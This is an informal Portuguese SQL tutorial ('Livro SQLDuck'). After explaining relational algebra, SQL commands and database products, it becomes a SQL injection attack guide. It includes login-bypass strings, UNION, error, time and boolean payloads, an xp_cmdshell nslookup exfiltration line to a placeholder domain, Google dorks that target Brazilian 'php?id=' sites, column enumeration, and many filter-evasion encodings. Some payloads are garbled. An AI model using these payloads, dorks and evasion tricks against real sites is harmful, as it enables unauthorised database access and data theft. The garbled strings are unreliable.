**LIVRO SQLDUCK 🦆**

OLÁ AQUI E O DUCKETTSTONE 🦆 ESPERO QUE FAÇA BOM USO DESDE LIVRO ENSINE E APLIQUE
SEMPRE!

A linguagem de consulta estruturada, conhecida como SQL, foi originalmente

desenvolvida nos início dos anos 70
foi inspirada por conceitos de álgebra e cálculo relacional e bla bla bla
projetada para ser uma linguagem declarativa, o que significa que o programador
especifica o que deseja alcançar então já começa na preguiça.

Já álgebra relacional é como um conjunto de regras para brincar com blocos de

construção cara
Vamos supor que temos vários blocos de construção, onde cada bloco tem informações
diferentes.
Alguns blocos têm nomes de pessoas, alguns têm a cor favorita das pessoas, e outros
têm o animal favorito das pessoas.
Exemplo:

Seleção: É como escolher alguns blocos específicos. Digamos que queremos apenas os
blocos de pessoas que gostam da cor azul. Isso é seleção.
Projeção: É como olhar apenas para partes específicas dos blocos. Se decidirmos que
só queremos saber os nomes das pessoas e não nos importamos com as cores ou os
animais favoritos, isso é projeção.
União: É como pegar dois conjuntos de blocos e juntá-los em um grande conjunto.
Diferença: É como pegar alguns blocos de um conjunto e remover os blocos que também
estão em outro conjunto.
Produto Cartesiano: É como fazer todos os pares possíveis de blocos de dois
conjuntos diferentes.

Já cálculo relacional ze é como uma maneira diferente de brincar com os mesmos

blocos.
Ao invés de dizer exatamente o que fazer, como na álgebra relacional, apenas
dizemos o que queremos no final.

Cálculo relacional de tuplas: É como dizer "Quero todos os blocos de pessoas que
gostam da cor azul". Não nos importamos como encontramos esses blocos, só sabemos o
que queremos no final.
Cálculo relacional de domínio: É como dizer "Quero saber todos os nomes e cores
favoritas, mas não me importo com os animais favoritos". Novamente, não nos
importamos como chegamos lá, só sabemos o que queremos ver no final.

O QUE É INJEÇÃO SQL?

Imagine uma cidade de bonecos onde cada boneco pode pedir pizza através de um
telefone público.
Normalmente, eles ligam e dizem: "Gostaria de uma pizza de queijo, por favor." O
pizzaiolo ouve e faz a pizza.
Mas e se um boneco malvado chamasse e dissesse: "Gostaria de uma pizza de queijo, e
por favor, dê-me todas as pizzas que você tem." Se o pizzaiolo não estiver
prestando atenção, ele pode acabar dando todas as suas pizzas para o boneco
malvado.
Isso é como uma injeção SQL.
É quando alguém pede algo normal, mas adiciona algo extra :)

Em bancos de dados relacionais, os dados são organizados em tabelas que estão

interligadas - daí o nome "relacional".
Cada tabela possui linhas (registros) e colunas (campos).
DDL e DML: SQL não é apenas para consultar dados.
Também tem a linguagem de definição de dados (DDL) que permite criar, alterar e
excluir tabelas e outros objetos de banco de dados.
A linguagem de manipulação de dados (DML), por outro lado, é usada para inserir,
atualizar e excluir dados.

Consultas SQL: O coração do SQL são as consultas. A consulta mais básica, SELECT,
permite recuperar dados.
Juntamente com o SELECT, você pode usar várias cláusulas como WHERE (para filtrar
registros), GROUP BY (para agrupar registros) e ORDER BY (para ordenar registros).

SQL também oferece várias funções agregadas, como COUNT, SUM, AVG, MAX e MIN que
permitem executar operações em um conjunto de valores.
Joins SQL permite combinar dados de duas ou mais tabelas usando JOINs. Existem
vários tipos de JOINs - INNER JOIN, LEFT JOIN, RIGHT JOIN e FULL JOIN.

Injeção SQL é uma técnica de injeção de código que pode destruir o banco de dados.

Injeção SQL é uma das técnicas de hacking web mais comuns.

A injeção SQL é a inserção de código malicioso em instruções SQL, através da

entrada de uma página web por exemplo campos de formulário tudo que faz consulta ao
banco de dados.
input
input input
input input input infinito :D~

PostgreSQL: Um poderoso sistema né de banco de dados de código aberto que enfatiza

extensibilidade e conformidade com padrões. É conhecido por sua robustez e
capacidade de lidar com grandes quantidades de dados.

SQLite: Um sistema de banco de dados que é embutido na aplicação. É amplamente

usado em dispositivos móveis e em aplicações onde a simplicidade e a eficiência de
recursos são importantes.

MongoDB: Um banco de dados NoSQL orientado a documentos, que é projetado para

facilidade de desenvolvimento e escalabilidade.

Cassandra: Um banco de dados NoSQL altamente escalável projetado para lidar com
grandes volumes de dados distribuídos em muitos servidores.

Oracle Database: Um sistema de gerenciamento de banco de dados relacional

proprietário que é amplamente utilizado em sistemas corporativos de grande porte.

SQL Server: Um sistema de gerenciamento de banco de dados relacional desenvolvido

pela Microsoft, também amplamente utilizado em ambientes corporativos.

DB2: Um sistema de gerenciamento de banco de dados relacional da IBM, comumente

usado em sistemas mainframe.

CouchDB: Um banco de dados NoSQL orientado a documentos que usa JSON para armazenar
dados, JavaScript como sua linguagem de consulta usando MapReduce e HTTP para API.

Redis: Um armazenamento de dados em memória, usado como banco de dados, cache e

broker de mensagens. Ele suporta estruturas de dados como strings, hashes, listas,
conjuntos, etc.

Neo4j: Um banco de dados gráfico altamente escalável que usa a estrutura de grafos
para representar e armazenar dados. É especialmente útil para lidar com dados
interconectados complexos.

Amazon DynamoDB: Um serviço de banco de dados NoSQL totalmente gerenciado que

fornece desempenho rápido e previsível com escalabilidade contínua.

Google Cloud Spanner: Um banco de dados relacional distribuído globalmente que

combina os benefícios de um banco de dados relacional com escalabilidade horizontal
não relacional.

Microsoft Azure SQL Database: Um banco de dados relacional totalmente gerenciado

que oferece escalabilidade, desempenho e disponibilidade.

InfluxDB: Um banco de dados de série temporal de código aberto desenvolvido pela

InfluxData. É otimizado para armazenamento de séries temporais de alta velocidade e
recuperação de dados em tempo real.

Riak: Um banco de dados distribuído NoSQL de código aberto que oferece alta
disponibilidade, tolerância a falhas, excelência operacional e facilidade de
escala.

Firebird: Um sistema de gerenciamento de banco de dados relacional de código aberto

que oferece muitos recursos padrão de SQL-92 e SQL-99.
SQL-92 e SQL-99) se referem a versões específicas do padrão SQL

HBase: Um banco de dados distribuído e escalonável para o armazenamento de dados na

tabela hash. Ele foi desenvolvido como parte do projeto Apache Software
Foundation's Hadoop.

MariaDB é um sistema de gerenciamento de banco de dados relacional (RDBMS) de

código aberto, comumente usado como substituto drop-in para o MySQL.

---------------------------------------------------------------------------

COMANDOS

SELECT: Este comando é usado para selecionar dados de um banco de dados. Os dados
retornados são armazenados em uma tabela de resultados chamada conjunto de
resultados.

INSERT INTO: Este comando é usado para inserir novos dados em um banco de dados.

UPDATE: Este comando é usado para atualizar dados existentes em um banco de dados.

DELETE: Este comando é usado para excluir dados existentes de um banco de dados.

CREATE DATABASE: Este comando é usado vei para criar um novo banco de dados.

ALTER DATABASE: Este comando é usado vei para modificar um banco de dados
existente.

CREATE TABLE: Este comando é usado vei para criar uma nova tabela em um banco de
dados.

ALTER TABLE: Este comando é usado vei para modificar uma tabela existente em um
banco de dados.
DROP TABLE: Este comando é usado para excluir uma tabela existente em um banco de
dados.

CREATE INDEX: Este comando é usado para criar um índice (uma lista pesquisável de
registros) em uma tabela.

DROP INDEX: Este comando é usado para excluir um índice.

WHERE: Este comando é usado para filtrar os registros que satisfazem uma condição
específica.

ORDER BY: Este comando é usado vei para classificar os registros em um resultado de
consulta em ordem ascendente ou descendente.

GROUP BY: Este comando é usado para agrupar linhas que possuem os mesmos valores em
colunas especificadas.

HAVING: Este comando é usado para filtrar os valores de um grupo. Geralmente é

usado com GROUP BY.

JOIN: Este comando é usado para combinar linhas de duas ou mais tabelas, com base
em uma coluna relacionada entre eles.

NULL: Utilizado para representar um valor faltante ou desconhecido.

UNION: Utilizado para combinar o conjunto de resultados de duas ou mais instruções

SELECT.

SUM: Utilizado para retornar a soma total de um conjunto numérico.

IN: Utilizado para especificar vários valores possíveis em uma cláusula WHERE.

DISTINCT: Utilizado para retornar apenas resultados distintos (diferentes) quando

há dados duplicados em uma tabela.

COUNT: Utilizado para contar o número de linhas que correspondem a um critério

especificado meu filho(a).

Lembre-se de que a sintaxe e os COMANDOS disponíveis podem variar um pouco

dependendo do sistema de gerenciamento de banco de dados SQL que você está atacando
então nao viaja e presta atenção
(MySQL, PostgreSQL, SQL Server, etc.)

'*or': Esta entrada é uma tentativa de encerrar a string de consulta atual e

adicionar um OR, que pode alterar a lógica da consulta SQL.

or: Esta entrada é uma tentativa de adicionar um OR sem uma condição, que pode
causar um erro ou comportamento inesperado na consulta SQL.

'or "': Este exemplo fecha a string de consulta atual e adiciona um OR, seguido por
uma nova string vazia. Dependendo de como a consulta é formulada, isso pode ser
usado para alterar a lógica da consulta SQL.

'or "8': Uma string não vazia. Dependendo de como a consulta SQL é formulada, a
presença de uma string não vazia após o OR pode mudar o comportamento da consulta.

' or "A': Outra variação do exemplo anterior com uma string diferente.
"or "*': Este exemplo tenta fechar a string de consulta atual e adicionar um OR,
seguido por uma nova string que começa com um asterisco. A presença do asterisco
pode mudar o comportamento da consulta, dependendo de como ela é formulada.

"or 1=1 limit 1 -: Este exemplo usa a condição "1=1", que é sempre verdadeira, para
alterar a lógica da consulta. A cláusula LIMIT 1 é usada para limitar o resultado a
um único registro, e o sinal de menos no final pode ser usado para comentar o
restante da consulta.

-: Este é um comentário em SQL. Tudo após o sinal de menos será ignorado pelo
interpretador SQL.

**"or '''.": Este exemplo é similar aos exemplos anteriores, mas inclui um ponto ao
final da string.

or true-: Esta entrada tenta adicionar um OR seguido por "true", que é sempre
verdadeiro, e então comentar o restante da consulta.

" or true-: Tenta fechar a string de consulta atual.

FUNÇOES E VARIAVEIS DO MySQL:

version(): Retorna a versão do servidor MySQL.

user(): Retorna o usuário atual e o host como uma string.
database(): Retorna o nome da base de dados atual.
now(): Retorna a data e hora atuais.
@@hostname: O nome do host onde o servidor MySQL está rodando.
@@port: O número da porta na qual o servidor MySQL está escutando.
@@tmpdir: O diretório onde o servidor MySQL armazena arquivos temporários.
@@datadir: O diretório onde o servidor MySQL armazena seus bancos de dados.
@@basedir: O diretório base do servidor MySQL, onde o software MySQL está
instalado.
@@log: Se TRUE, o servidor está registrando consultas gerais.
@@log_bin: Se TRUE, o servidor MySQL está registrando declarações binárias.
@@log_error: O arquivo para onde as mensagens de erro serão registradas.
@@binlog_format: O formato das instruções registradas no log binário.
@@time_format: A forma como o MySQL representa o tempo.
@@date_format: A forma como o MySQL representa as datas.
@@ft_boolean_syntax: A lista de operadores que podem ser usados com o modo de busca
booleano de texto completo do MySQL.
@@servername: O nome do servidor MySQL.
current_database(): A base de dados atualmente selecionada.
@@new: Não é uma variável de sistema MySQL conhecida. Pode ter havido um erro de
digitação ou é específico para uma aplicação em particular.
@@version: A versão do servidor MySQL.
@@version_comment: Comentários adicionais sobre a versão do MySQL.
@@version_compile_os: O sistema operacional no qual o servidor MySQL foi compilado.
@@version_compile_machine: O tipo de máquina ou arquitetura no qual o servidor
MySQL foi compilado.
@@GLOBAL.have_symlink: Se o servidor MySQL suporta links simbólicos para tabelas.
@@GLOBAL.have_ssl: Se o servidor MySQL suporta conexões SSL.
@@GLOBAL.VERSION: A versão global do servidor MySQL.
schema(): O esquema atualmente selecionado.
system_user(): O usuário do sistema operacional sob o qual o servidor MySQL está
sendo executado.
session_user(): O usuário que estabeleceu a sessão atual.
UUID(): Retorna um identificador único universal (UUID) gerado de acordo com a
versão 4 do padrão de UUID.
current_use()r: O usuário atual e o host como uma string.
@@collation(user): A collation padrão para o usuário especificado.

TIPOS DE SQLI:
In-band SQLi(classic)
Inferential SQLi(Blind)
Out-of-band SQLi

In-band SQLi (Clássico): Este é o tipo mais simples e comum de injeção SQL. Você
usa o mesmo canal de comunicação para lançar o ataque e coletar os resultados. Há
duas subcategorias importantes dentro dessa técnica:

SQLi Baseado em Erros: Você depende dos detalhes dos erros retornados pela
aplicação para entender a estrutura do banco de dados e assim realizar o ataque.

SQLi Baseado em União: Você utiliza a cláusula UNION SQL para combinar a resposta
de sua consulta injetada com a resposta de consultas originais do sistema.

SQLi Baseado em Erros: ' OR 'a' = 'a'

SQLi Baseado em União: ' UNION SELECT * FROM usuarios --

Inferential SQLi (Cego): Neste caso, Você envia dados maliciosos para o servidor e
observa a resposta e o comportamento do servidor para aprender sobre a estrutura do
banco de dados. Você não vê a saída dos ataques diretamente, daí o termo "cego".
Existem dois tipos principais:

SQLi com Base em Tempo: Você faz uma pergunta ao banco de dados que faz com que ele
responda lentamente (por exemplo, fazendo-o esperar alguns segundos) ou
rapidamente, permitindo que Você deduza uma resposta verdadeira ou falsa.

SQLi Baseado em Booleano: Você faz uma pergunta ao banco de dados que resultará em
uma resposta diferente da aplicação, dependendo se a pergunta resultar em
verdadeiro ou falso.

SQLi com Base em Tempo: ' OR IF('a' = 'a', sleep(10), false) --

SQLi Baseado em Booleano: ' OR 'a' = 'a

Out-of-band SQLi: Este tipo de ataque é usado quando Você não pode usar o mesmo
canal de comunicação para lançar o ataque e coletar os resultados ou precisa de um
canal alternativo para uma comunicação mais eficiente ou para contornar as defesas
de segurança. Você utiliza recursos do servidor do banco de dados que permitem o
envio de dados para sistemas externos.

xp_cmdshell

'; EXEC xp_cmdshell 'nslookup meu.exemploze.com'--

Neste exemplo, a injeção SQL irá forçar o banco de dados a executar o comando
nslookup que realiza uma consulta DNS para meu.exemploze.com.
Você pode então, capturar a consulta DNS em meu.exemploze.com para obter as
informações que deseja. O que exatamente você poderia exfiltrar depende da
aplicação e da configuração do banco de dados.
Out-of-band SQLi pode ser muito mais complexo
-----------------------------------------------------------------------------------
--------

PORQUE COLOCAR ' NO FINAL DA URL?

O apóstrofo (') é usado em ataques de injeção SQL para interromper a consulta SQL
Suponha que você tenha o seguinte script PHP que pega um ID de produto de uma URL e
o usa em uma consulta SQL:

$id = $_GET['id'];
$sql = "SELECT * FROM produtos WHERE id = $id";

Se você passar o número 4 como o ID (meuexemploze.com/produto.php?id=4), a consulta

se torna:
SELECT * FROM produtos WHERE id = 4
Que é totalmente válido.

Mas se você passar 4' como o ID (meuexemploze.com/produto.php?id=4'), a consulta se

torna:
SELECT * FROM produtos WHERE id = 4'

O apóstrofo extra faz com que a sintaxe SQL seja inválida e, se o erro SQL for
exibido na página é bença

PASSOS PRATICOS:

Encontrando Parâmetros
DORK: inurl:php?id= site: .br
inurl:php?id= site:*.br

Injeção de Código
http://exemploze.com/produto.php?id=7'

Casos de Equilíbrio de Consulta

. --
. -- -
.-- +
.-- +-
')--+-
'))--+-
')--+
)--
--
--+
-- -/*
php?id=1 -- -

No entanto, para que o comando SQL injetado funcione como o esperado, Você deve
garantir que o restante da consulta SQL original não interfira com o comando
injetado
Os caracteres "--", "-- -", "-- +" e "-- +-" são usados para comentar o restante da
consulta SQL.

O sinal de igual (=) pode ser usado para testar a equivalência

O ponto e vírgula (;) pode ser usado para encerrar uma instrução SQL e começar uma
nova
Os caracteres de porcentagem (%) e sublinhado (_) são usados em pesquisa de padrões

-- é um comentário de linha única em SQL. Tudo após -- na mesma linha é ignorado.

-- - é semelhante ao anterior, mas com um espaço extra para evitar problemas com
certas implementações de SQL que requerem um espaço após o "--" para tratar o
restante da linha como um comentário.
-- + e -- +- são variações dos anteriores com caracteres adicionais. Eles são
usados para garantir que o comentário seja interpretado corretamente em diferentes
versões e implementações de SQL.
Então, no exemplo php?id=1 -- -, o que está sendo feito é passar o valor "1" para o
parâmetro "id", e então comentar o restante da consulta SQL com "-- -" para que
qualquer outra coisa após o "id=1" na consulta SQL original seja ignorada. Isso é
chamado de equilibrar a consulta, porque permite que Você controle o restante da
consulta após a injeção.

Exemplo: http://exemploze.com/produto.php?id=7' -- -

ENCONTRANDO COLUNA COM ORDER BY

EXEMPLO: http://exemploze.com/produto.php?id=7' order by 10

Union

SELECT column_name(s) FROM table1 UNION

SELECT column_name(s) FROM table2;

*o número de colunas selecionadas na 1° consulta deve ser igual ao número de

colunas selecionadas na 2° consulta*

Em primeiro lugar temos que encontrar o número de colunas da tabela existente no

site para injetar o SQLI baseado em UNION

ORDER BY
crescente ou decrescente

ORDER BY 1.

ORDER BY 2
“Unknown Order 8 in order clause”
ESTAMOS PROCURANDO 7 colunas
POREM ANTES ERRO

POST: ' ORDER BY 9 #

ERROR: Unknow

A instrução ORDER BY é usada em SQL para classificar os resultados em ordem

ascendente ou descendente com base em algumas colunas. Voce tenta isso para
descobrir quantas colunas uma determinada tabela SQL tem.

Por exemplo, quando você vê http://exemploze.com/produto.php?id=7' order by 10,

Você está tentando ordenar os resultados da consulta SQL por uma décima coluna. Se
a consulta SQL resultante não gerar um erro, isso significa que a tabela em questão
tem pelo menos dez colunas.

No entanto, se um erro for gerado, Você saberá que a tabela tem menos de dez
colunas. Você pode então reduzir o número na cláusula ORDER BY para determinar
exatamente quantas colunas a tabela tem.
Isso é útil para Você porque, uma vez que ele sabe quantas colunas a tabela tem,
ele poderá formar consultas SQL mais precisas para extrair dados ou alterar o
comportamento do banco de dados.

A cláusula GROUP BY em SQL é usada para agrupar linhas que possuem os mesmos
valores em colunas específicas.
Basicamente, é usado para consolidar dados duplicados em valores únicos.

Por exemplo, suponha que você tenha uma tabela chamada Pedidos com as seguintes
linhas:

PedidoID Cliente Quantidade

1 João 15
2 Ana 20
3 João 30
4 Maria 40
5 João 25

Se você quiser saber a quantidade total de pedidos de cada cliente, você poderia
usar a cláusula GROUP BY
SELECT Cliente, SUM(Quantidade)
FROM Pedidos
GROUP BY Cliente;

Isso retornaria:

Cliente Total
João 70
Ana 20
Maria 40

AINDA FALANDO DO ORDER BY E GROUP BY:

Você já assistiu a um filme ou série onde personagens precisam dizer uma senha para
entrar em algum lugar?
Imagine que você é o personagem que está tentando entrar, o MySQL é o guarda na
porta e /*!50000ORDER BY*/ é a senha.

Essa "senha" é especial. A parte 50000 diz ao guarda "só me deixe entrar se você
for versão 5.00.00 ou superior".
Se o guarda for versão 5.00.00 ou mais recente, ele deixa você entrar e o código
ORDER BY é executado.
Se o guarda for uma versão mais antiga, ele apenas ignora você, como se você
tivesse dito algo sem importância.

Em um cenário de injeção de SQL, você pode usar essa técnica para "enganar o
guarda" e inserir códigos maliciosos que só serão executados se a versão do MySQL
permitir.
É como se o tu estivesse dizendo "Ei guarda, se você for versão 5.00.00 ou
superior, deixe-me entrar e faça isso".
Se o guarda for da versão certa, ele deixa o aguado entrar que e você no caso e
executar a injeção.

/*!50000BY*/
/*!50000ORDER*/
/*!50000ORDER*/**_**/*/
/*!50000GROUP*/
/*!50000GROUP*/ **_**/*/

Vamos usar /*!50000ORDER BY*/ como exemplo aqui esse código seria interpretado como
um comentário regular por um interpretador SQL padrão, pois esta dentro de um bloco
de comentários /*...*/.
No entanto, o MySQL interpreta de forma diferente: se a versão do MySQL for 5.00.00
ou superior, ele interpretará e executará o código dentro do comentário, como se
fosse ORDER BY

**/ORDER/**/BY/**/100
Este comando é como uma cena de um filme de espionagem onde o agente secreto está
tentando se infiltrar na base inimiga sem ser detectado. O agente secreto aqui são
as palavras "ORDER" e "BY", escondidas nos comentários (/** **/), enquanto "100" é
o objetivo da missão

%23%0AORDER%23%0ABY%23%0A100
É como se você estivesse lendo um livro codificado. As palavras "ORDER" e "BY"
foram codificadas em percentual de URL (%23%0A é uma nova linha), tornando a
consulta mais difícil de ser detectada

/*!order/**/by*/1
Isso é como um ator que está tentando se disfarçar para um papel. O "!" no início
do comentário MySQL faz o servidor tratar o texto dentro do comentário como um
comando SQL real, enquanto os outros comentários em torno de "order" e "by" estão
lá para confundir qualquer filtro de segurança

ORDER+BY+100+ASC
Esta consulta é como se você estivesse falando em voz alta em uma sala cheia de
gente.
Não há nada de sutil sobre isso, você está basicamente dizendo ao servidor para
ordenar os resultados de acordo com a centésima coluna em ordem ascendente

AND+MOD(52,12)+/*1500000RDER*/ +BY+100
Aqui você está tentando resolver um enigma matemático e usar um truque de mágica ao
mesmo tempo. O "MOD(52,12)" é o enigma matemático, enquanto o restante do comando é
um truque de mágica que usa comentários para tornar o "ORDER" e o "BY" menos
perceptíveis

AND+MOD (52,12)+/*150000GROUP*/ +BY+100

Este comando é semelhante ao anterior, mas em vez de um "RDER" disfarçado, temos um
"GROUP" disfarçado. É como se você estivesse mudando sua estratégia no meio do jogo
de esconde-esconde, mas o objetivo ainda é o mesmo: obter a informação que você
precisa sem ser detectado

Na expressão AND+MOD(52,12), "MOD" é uma função matemática que retorna o resto de

uma divisão.
Nesse caso, está calculando o resto da divisão de 52 por 12.

Mas por que usar isso em uma injeção SQL? A razão é colocar condições adicionais à
consulta SQL que não afetam o resultado final, mas ajudam a bypassar filtros de
segurança ou firewalls que podem estar procurando por certas palavras-chave SQL.

Além disso, AND+MOD(52,12) irá sempre avaliar para TRUE (como 52 módulo 12 resulta
em 4, que é interpretado como TRUE em um contexto booleano), por isso não altera os
resultados da consulta.

Existem muitas outras funções matemáticas que você poderia usar de maneira
semelhante, como AND 1=1 ou AND 2+2=4.
O ponto não é o cálculo em si, mas a adição de uma condição que sempre será
verdadeira para obter a execução desejada da consulta entedeu?

Por exemplo, OR 1=1 -- ignorará tudo após -- e fará a consulta sempre retornar
verdadeira.

Agora ataques de injeção SQL baseados em tempo, utilizam funções de tempo para
retardar a resposta do banco de dados, permitindo a você inferir se uma determinada
operação foi bem-sucedida.
Exemplo: AND IF(1=1, SLEEP(10), FALSE) fará o banco de dados esperar 10 segundos
antes de responder se a condição 1=1 for verdadeira.

Empregando funções de codificação/decodificação: Funções como CHAR(), NCHAR(),

UNICODE(), podem ser usadas para obter representações diferentes das consultas SQL
padrão, ajudando a evadir filtros de segurança. Por exemplo, SELECT CHAR(85, 83,
69, 82) retornará 'USER'.
CHAR(85, 83, 69, 82), os números são códigos ASCII que representam caracteres.
A função CHAR() converte estes códigos de números inteiros para caracteres.

Na tabela ASCII, o número 85 representa a letra 'U', 83 é 'S', 69 é 'E' e 82 é 'R'.

Portanto, SELECT CHAR(85, 83, 69, 82) irá retornar 'USER'.

EXEMPLO DA TABELA ASCII

Decimal Hexadecimal Caractere Descrição

----------------------------------------------------
0 00 NUL Caractere nulo
1 01 SOH Início de cabeçalho
2 02 STX Início de texto
3 03 ETX Fim de texto
...
32 20 (espaço) Espaço
33 21 ! Exclamação
34 22 " Aspas duplas
35 23 # Cifrão
...
48 30 0 Número 0
49 31 1 Número 1
50 32 2 Número 2
51 33 3 Número 3
52 34 4 Número 4
53 35 5 Número 5
54 36 6 Número 6
55 37 7 Número 7
56 38 8 Número 8
57 39 9 Número 9
...
65 41 A Letra A
66 42 B Letra B
67 43 C Letra C
68 44 D Letra D
69 45 E Letra E
70 46 F Letra F
71 47 G Letra G
72 48 H Letra H
73 49 I Letra I
74 4A J Letra J
75 4B K Letra K
76 4C L Letra L
77 4D M Letra M
78 4E N Letra N
79 4F O Letra O
80 50 P Letra P
81 51 Q Letra Q
82 52 R Letra R
83 53 S Letra S
84 54 T Letra T
85 55 U Letra U
86 56 V Letra V
87 57 W Letra W
88 58 X Letra X
89 59 Y Letra Y
90 5A Z Letra Z
...
97 61 a Letra a (minúscula)
98 62 b Letra b (minúscula)
99 63 c Letra c (minúscula)
100 64 d Letra d (minúscula)
101 65 e Letra e (minúscula)
102 66 f Letra f (minúscula)
103 67 g Letra g (minúscula)
104 68 h Letra h (minúscula)
105 69 i Letra i (minúscula)
106 6A j Letra j (minúscula)
107 6B k Letra k (minúscula)
108 6C l Letra l (minúscula)
109 6D m Letra m (minúscula)
110 6E n Letra n (minúscula)
111 6F o Letra o (minúscula)
...
127 7F DEL Deletar

DECODIFIQUE
hexadecimal: 5155412051544120515441

DESAFIO:

Um pato estava programando e decidiu deixar uma mensagem secreta.

Ele so lembra que é decimal:

77 65 78 68 69 32 77 69 78 83 65 71 69 77 32 80 65 82 65 32 77 69 32 83 69 32 67 79
78 83 69 71 85 73 85

Você consegue decifrar o que o pato estava tentando dizer?

R:

Essa técnica é para ofuscar sua consulta SQL.

Em vez de inserir diretamente a string 'USER' (que pode ser facilmente detectada
por um filtro de segurança), ele pode usar a função CHAR() para gerar a mesma
string de uma maneira que é mais provável que passe despercebida entendeu?

-----------------------------------------------------------------------------------
----------------
SELEÇÃO DE UNION

UNION SELECT 1,2,3: Aqui Você está tentando mesclar os resultados de uma segunda
consulta SQL (SELECT 1,2,3) com os resultados de uma consulta original, usando a
cláusula UNION. Nesse caso, eles estão simplesmente selecionando os números 1, 2 e
3.

UNION SELECT null, null, null: Você está selecionando NULL.

Isso pode ser usado quando Você não se importa com os dados retornados pela segunda
consulta, mas está interessado apenas no efeito colateral de sua execução.
Imagine que você está tentando abrir uma fechadura, mas você não sabe quantos pinos
ela tem.
Você começa com uma chave de um pino, e se não funciona, você tenta uma chave de
dois pinos, e assim por diante.
Agora, substitua a fechadura por um banco de dados e as chaves por consultas SQL.
Você está tentando "abrir" o banco de dados, mas não sabe quantas "colunas" ele
precisa para a consulta SQL.
Eles começam tentando UNION SELECT null (uma "chave" de um "pino"), e se recebem um
erro, eles tentam UNION SELECT null, null (uma "chave" de dois "pinos"), e assim
por diante.
Cada vez que eles adicionam mais um null, é como se estivessem tentando uma chave
com um pino a mais.
Quando eles finalmente não recebem um erro, é como se a chave tivesse encaixado na
fechadura - eles descobriram o número certo de colunas que a consulta SQL precisa.

UNION SELECT '1*2"3*: Neste caso, Você está selecionando uma string.
Este pode ser um teste para ver se caracteres especiais, como aspas e asteriscos,
são manipulados corretamente pela aplicação.
A intenção é fazer com que o servidor SQL trate o valor entre as aspas como uma
string em vez de um número ou uma expressão SQL válida

UNION (SELECT(1)): Novamente, Você está usando UNION para inserir uma segunda
consulta, mas desta vez eles estão selecionando 1 dentro de uma subconsulta.
Dependendo de como a aplicação lida com subconsultas, isso pode ter efeitos
diferentes.
Então, por que alguém faria isso?
Normalmente, você usaria este comando para testar se um site é vulnerável a injeção
de SQL.
Ao injetar UNION (SELECT(1)) em uma consulta, você está tentando fazer o site
retornar o valor "1" em algum lugar da página web.
Se o valor "1" aparecer, isso indica que a injeção de SQL pode ser possível

UNION SELECT ~1,~2,~3: Neste caso, Você está usando o operador '~', que é o
operador de negação de bits em SQL.
Isto irá inverter todos os bits de cada número, pode ser uma forma de ofuscar os
dados que estão sendo selecionados.
O operador ~ é um operador de bit a bit NOT em SQL, ele inverte todos os bits de um
número.
Por exemplo, ~1 produz -2, ~2 produz -3, e assim por diante.
Além disso, o uso de operações bit a bit pode ser uma maneira de obter resultados
não convencionais que podem passar despercebidos por algumas medidas de segurança.
Por exemplo, se uma aplicação tenta bloquear consultas contendo '1=1', Você pode
tentar usar '~0=0' em vez disso, que é logicamente a mesma consulta, mas pode
conseguir evitar os filtros de segurança

/*50000UNION/**_ **/*/7*150000SELECT*/: Este exemplo utiliza comentários de estilo

C (/* ... */) para ocultar a palavra-chave UNION dentro da consulta.

%OAUNION%0ASeLECT%0A: Este exemplo utiliza codificação de URL para ofuscar a

injeção de SQL.
%0A é uma representação codificada por URL para uma nova linha (newline) ou um line
feed no ASCII.

%23%0AUNION%23%0ASeLECT%23%: Aqui, %23 é o código percentual para o caractere "#",

criando um comentário SQL, e %0A é novamente um line feed.

%2{**%2funion%2£**%2fselect%2{#*%: Este é outro exemplo de codificação de URL sendo

usada para ofuscar a injeção de SQL.
A sequência %2f decodifica para "/", enquanto %2{ e %2£ e para ofuscar a palavra-
chave UNION.

nd/**/.Ounion/*%26*/ distinctROW+select: Esta tentativa usa comentários de estilo C

para ofuscar a palavra-chave "union".
%26 é a codificação URL para "&".

*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/: O %0d%0a é uma representação de CRLF.

Aqui, a injeção SQL é ofuscada usando comentários, codificação URL e a sintaxe /*!
código */, que é uma maneira de fazer o MySQL executar o código dentro do
comentário apenas se a versão do servidor for 20000 ou superior

un/**/ion+se/**/lect, UNunionION+SEselectLECT, uni%0bon+se%Oblect: Essas são

tentativas de ofuscar a injeção SQL "union select" usando comentários de estilo C e
codificação URL

REVERSE(noinu)+REVERSE(tceles): Esta é uma tentativa de ofuscar a injeção SQL

"union select" usando a função REVERSE do SQL, que reverte strings.
"noinu" é "union" ao contrário e "tceles" é "select" ao contrário

%252%252a*/UNION%252%252a/ SELECT%252%252a*/ /**8**/and/**8**/0/**g**/Union/

**8**/sEleCT/**g**/ /*50000Union*92f/*)00000Select*%26%0b: Inclui o uso de
codificação dupla de URL (%252 decodifica para %, que por sua vez decodifica para
um espaço em branco) e comentários SQL para ofuscar a injeção.

%55nion+%73elect, %75nion %73elect, 7*50000%75%6e%69on*/ %73%65%6cect: Estes

exemplos utilizam codificação hexadecimal para ofuscar as palavras-chave UNION e
SELECT.
%55nion+%73elect: Aqui, %55 é uma representação codificada por URL para o caractere
"U", e %73 é uma representação para o caractere "s".
Portanto, %55nion se torna "Union" e %73elect se torna "select" quando
decodificado.
%75nion %73elect: Aqui, %75 é uma representação codificada por URL para o caractere
"u", e %73 é uma representação para o caractere "s". Portanto, %75nion se torna
"union" e %73elect se torna "select" quando decodificado.
7*50000%75%6e%69on*/ %73%65%6cect: Aqui, %75 representa "u", %6e representa "n", e
%69 representa "i", portanto %75%6e%69on se torna "union". Da mesma forma, %73
representa "s", %65 representa "e", e %6c representa "l", portanto %73%65%6cect se
torna "select".

or .Ounion/**/distinctrow select/**/ distinctrow And .Ounion/**/distinctrow

select/**/ distinctrow And .OUnIOn---%0ASeLe%43t or .Ounion/**/ distinctrow
%23GearFourth%0aselect/ **/distinctrow And .Ounion/**/ distinctrow%23GearFourth
%0aselect/ **/distinctrow or .Ounion/**/ distinctrow%23GearFourth: Incluindo
comentários de estilo C, caracteres de nova linha (%0A), e codificação URL.
A palavra-chave "distinctrow", que é usada em consultas SQL para retornar apenas
linhas distintas (únicas).
GearFourth%0aselect/ **/distinctrow: %0a é uma representação hexadecimal para uma
quebra de linha
/*50000un0x696fn*/+/*!12345AIL*/ (/*50000se0x6c65ct*/+1): Aqui, 0x696fn e 0x6c65ct
são representações hexadecimais das palavras "ion" e "lect", respectivamente.
Esta é outra forma de ofuscar as palavras-chave UNION e SELECT.
un é uma parte da palavra "UNION".
0x696fn é uma representação hexadecimal de "ion", então juntos un0x696fn se traduz
em "union".
/*!12345AIL*/ Confundi os filtros de segurança.
se é uma parte da palavra "SELECT".
